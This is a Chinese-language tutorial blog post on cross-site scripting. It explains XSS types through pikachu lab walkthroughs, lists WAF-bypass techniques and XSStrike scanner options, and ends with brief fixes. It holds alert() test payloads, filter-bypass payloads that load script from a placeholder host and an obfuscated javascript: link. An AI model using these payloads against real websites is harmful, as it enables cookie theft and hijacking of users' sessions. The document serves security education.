网络安全笔记 -- XSS跨站(原理、分类、WAF绕过、安全修复)

1. 原理

XSS漏洞产生原理

XSS攻击涉及到三方,分别是:攻击者、用户和web服务器。

用户通过浏览器访问web网页,攻击者通过一些办法在用户访问页面的时候插入一些脚本,用户在访问页面的时候执行这个脚本,攻击者通过脚本执行获得用户的信息,如cookie,从而获取用户隐私信息,或者可以伪造用户请求等。

在这里插入图片描述

XSS漏洞危害影响

  • 挂马
  • 盗取用户Cookie
  • DDos客户端浏览器
  • 钓鱼攻击
  • 删除目标文章、恶意篡改数据、嫁祸
  • 劫持用户Web行为,甚至进一步渗透内网
  • 爆发Web2.0蠕虫
  • 蠕虫式DDos攻击
  • 蠕虫式挂马攻击、刷广告、刷流量、破坏网上数据



2. 分类

被动型,需要受害者主动触发

类型说明
反射型服务端返回脚本,客户端执行
存储型后台存储了非法脚本,并且前端直接展示
DOM-Based型基于DOM或本地的XSS攻击

2.1 反射型XSS(GET)

测试平台:pikachu

  1. 启动靶场
    在这里插入图片描述
  2. 随机输入一个名字,查看结果,因此考虑输入一段脚本,看是否能被执行

在这里插入图片描述

  1. 输入一段脚本,发现有长度限制,因此打开检查工具,修改网页端输入框长度限制,修改成任意大的值,如500

在这里插入图片描述在这里插入图片描述

  1. 输入一段脚本,提交,页面脚本<script>alert(1)</script>执行

在这里插入图片描述


2.2 存储型XSS

测试平台:pikachu

  1. 启动靶场
    在这里插入图片描述
  2. 在留言板中随便写入一些数据,观察

在这里插入图片描述

  1. 在留言板中输入:<script>alert(1)</script>,脚本执行

在这里插入图片描述

  1. 当下次再点击进入该页面时,脚本执行并弹出弹窗

2.2 DOM型XSS

测试平台:pikachu

  1. 启动靶场
    在这里插入图片描述
  2. 随机输入值,提交后查看页面,点击“what do you see?”,页面会根据输入的值跳转到相应的页面
    在这里插入图片描述
    在这里插入图片描述
  3. 输入: #’ οnclick=“alert(2)”>

在这里插入图片描述
4. 查看源代码如下:

document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";

<!-- 将str替换成上传的字符串之后如下: -->
"<a href='#' onclick="alert(2)">'>what do you see?</a>"



3. WAF绕过

  • 标签语法替换
  • 特殊符号干扰
  • 提交方式更改
  • 垃圾数据溢出
  • 加密解密算法
  • 结合其它漏洞绕过

标签语法替换

name=<script src=http://xxx.com></script>
name=<script src="http://xxx.com"
name=<script src="http://xxx.com"#12@#1634%>

name=<a href="http://xxx.com">a
name=<a /href="http://xxx.com"@#>a

特殊符号干扰

name=<a href="http://xxx.com"1111!@#>a
name=<a /href="http://xxx.com"1111!@#>a

提交方式更改

get方式改成post方式

加密解密算法

参考文章

<a/href=&#74;ava%0a%0d%09script&colon;alert()>click\



4. 自动化工具XSStrike

下载链接

常用命令:

-u, --url     // 指定目标URL
--data        // post方式提交内容
-v,-verbose   // 详细输出
-f,--file     // 加载自定义paload字典
-t,--threads  // 定义线程数
-l,--level    // 爬行深度
-t,--encode   // 定义payload编码方式
--json        // 将post数据视为JSON
--path        // 测试URL路径组件
--seeds       // 从文件中测试、抓取URL
--fuzzer      // 测试过滤器和web应用程序防火墙
--update      // 更新
--timeout     // 设置超时时间
--params      // 指定参数
--crawl       // 爬行
--proxy       // 使用代理
命令:
D:/XSStrike/xsstrike.py -u "http://xxx.com/index.php/?name=" --fuzzer

5. 安全修复

开启httponly、输入过滤、输出过滤等

JAVA:https://www.cnblogs.com/baixiansheng/p/9001522.html

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值